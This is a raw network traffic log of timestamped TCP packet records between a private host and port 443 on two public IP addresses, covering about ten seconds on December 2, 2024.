Dec 2, 2024 01:35:54.014271975 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.016772985 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.016886950 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.016901970 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.016935110 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.041721106 CET	50047	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.041748047 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.041759968 CET	50047	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.041764975 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.060940027 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.060977936 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.060991049 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.060998917 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.207360029 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.211244106 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.211286068 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.211291075 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.211337090 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.331914902 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.331995964 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.332031965 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.332050085 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.336910009 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.336956024 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.337105036 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.364409924 CET	50051	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.364453077 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.364506006 CET	50051	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.364646912 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.364661932 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.365484953 CET	50052	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.365545988 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.365672112 CET	50052	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.365803957 CET	50052	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.365830898 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.381691933 CET	50051	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.381707907 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.406078100 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.406131983 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.406192064 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.410684109 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.410696030 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.989871025 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:55.002861977 CET	50049	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:55.002861977 CET	50049	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:55.002892017 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:55.002901077 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:55.379460096 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:55.379550934 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:55.379723072 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:55.442840099 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:55.446445942 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:55.446558952 CET	50049	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:55.534812927 CET	50049	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:55.534812927 CET	50049	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:55.534851074 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:55.534861088 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:55.598324060 CET	50054	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:55.598459959 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:55.598567963 CET	50054	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:55.612479925 CET	50054	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:55.612517118 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.079411983 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.113769054 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.113806009 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.114265919 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.114270926 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.141132116 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.145787001 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.159460068 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.159488916 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.159902096 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.159908056 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.160458088 CET	50052	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.160506010 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.160840034 CET	50052	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.160851955 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.163413048 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.163780928 CET	50051	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.163805008 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.164156914 CET	50051	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.164161921 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.514859915 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.517997026 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.518034935 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.518043041 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.518112898 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.548238993 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.548269033 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.548285961 CET	50050	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.548293114 CET	443	50050	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.574999094 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.578630924 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.578685045 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.578707933 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.578783989 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.578833103 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.591013908 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.594118118 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.594212055 CET	50052	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.615185976 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.618242979 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.618298054 CET	50051	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.632445097 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.632445097 CET	50053	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.632467031 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.632474899 CET	443	50053	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.633409977 CET	50052	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.633457899 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.633482933 CET	50052	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.633498907 CET	443	50052	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.648135900 CET	50051	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.648155928 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.648165941 CET	50051	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.648171902 CET	443	50051	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.670051098 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.670084953 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.670244932 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.709544897 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.709562063 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.731707096 CET	50056	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.731760979 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.731832027 CET	50056	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.731980085 CET	50056	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.731995106 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.806405067 CET	50057	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.806459904 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.806535006 CET	50057	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.807475090 CET	50058	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.807534933 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.807584047 CET	50058	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.819060087 CET	50057	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.819077015 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:56.819214106 CET	50058	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:56.819231033 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.401984930 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.413655996 CET	50054	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:57.413655996 CET	50054	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:57.413691044 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.413714886 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.845993042 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.846084118 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.846151114 CET	50054	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:57.859217882 CET	50054	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:57.859217882 CET	50054	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:57.859272957 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.859301090 CET	443	50054	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.908793926 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:57.908852100 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:57.908904076 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:57.910629988 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:57.910645962 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.447216988 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.468934059 CET	50056	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.468971014 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.469712973 CET	50056	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.469718933 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.547050953 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.555255890 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.601073027 CET	50057	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.601108074 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.601728916 CET	50057	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.601735115 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.602158070 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.602181911 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.602664948 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.602674961 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.670224905 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.685868979 CET	50058	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.685910940 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.686733961 CET	50058	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.686738968 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.883022070 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.883093119 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.883157015 CET	50056	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.888062000 CET	50056	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.888092995 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.888483047 CET	50056	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.888489962 CET	443	50056	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.918939114 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.918982029 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.919229031 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.931602955 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.931619883 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.983213902 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.986381054 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.986660957 CET	50057	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.991180897 CET	50057	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.991180897 CET	50057	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:58.991204023 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:58.991211891 CET	443	50057	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.008357048 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.008404016 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.008459091 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.008477926 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.008521080 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.025006056 CET	50061	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.025049925 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.025346041 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.025365114 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.025396109 CET	50055	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.025403023 CET	443	50055	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.025420904 CET	50061	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.027704000 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.027746916 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.027864933 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.029902935 CET	50061	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.029917955 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.034334898 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.034346104 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.123068094 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.123188972 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.123630047 CET	50058	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.129549980 CET	50058	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.129589081 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.129622936 CET	50058	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.129630089 CET	443	50058	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.161842108 CET	50063	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.161885023 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.162051916 CET	50063	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.191788912 CET	50063	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.191821098 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.725385904 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.734363079 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.734402895 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:59.736295938 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:59.736300945 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.169059038 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.172977924 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.173024893 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.173038006 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.173074007 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.482472897 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.482528925 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.482547998 CET	50059	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.482556105 CET	443	50059	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.749202967 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.777479887 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.796401024 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.815622091 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.815658092 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.816083908 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.816102028 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.858876944 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.869654894 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.869683027 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.870091915 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.870098114 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.873881102 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.874267101 CET	50061	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.874286890 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.875122070 CET	50061	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.875132084 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.956270933 CET	50064	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.956322908 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:00.956393003 CET	50064	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.975852966 CET	50064	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:00.975867987 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.043203115 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.048279047 CET	50063	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.048299074 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.048547983 CET	50063	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.048563004 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.184097052 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.187128067 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.187300920 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.204443932 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.204497099 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.204521894 CET	50062	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.204530001 CET	443	50062	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.237498045 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.237565041 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.237669945 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.245238066 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.245280981 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.245300055 CET	50060	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.245306969 CET	443	50060	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.259185076 CET	50065	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.259262085 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.259474993 CET	50065	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.280775070 CET	50065	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.280808926 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.282268047 CET	50066	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.282321930 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.282516003 CET	50066	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.282757044 CET	50066	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.282772064 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.327214003 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.329610109 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.332777023 CET	50061	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.340648890 CET	50061	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.340648890 CET	50061	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.340662003 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.340672970 CET	443	50061	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.352278948 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.352330923 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.352686882 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.380492926 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.380527020 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.496334076 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.499650955 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.499732018 CET	50063	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.502645016 CET	50063	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.502645016 CET	50063	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.502672911 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.502681017 CET	443	50063	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.529623985 CET	50068	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.529659986 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:01.530054092 CET	50068	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.544250011 CET	50068	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:01.544280052 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:02.691818953 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:02.694439888 CET	50064	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:02.694470882 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:02.694961071 CET	50064	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:02.694968939 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.061187029 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.068815947 CET	50065	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.068857908 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.069335938 CET	50065	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.069341898 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.095952034 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.097671032 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.097681999 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.098222971 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.098229885 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.127047062 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.127562046 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.130114079 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.130234003 CET	50064	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.134179115 CET	50064	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.134179115 CET	50064	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.134207010 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.134217024 CET	443	50064	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.134494066 CET	50066	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.134504080 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.140296936 CET	50066	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.140307903 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.156317949 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.156379938 CET	443	50069	13.107.246.63	192.168.2.7
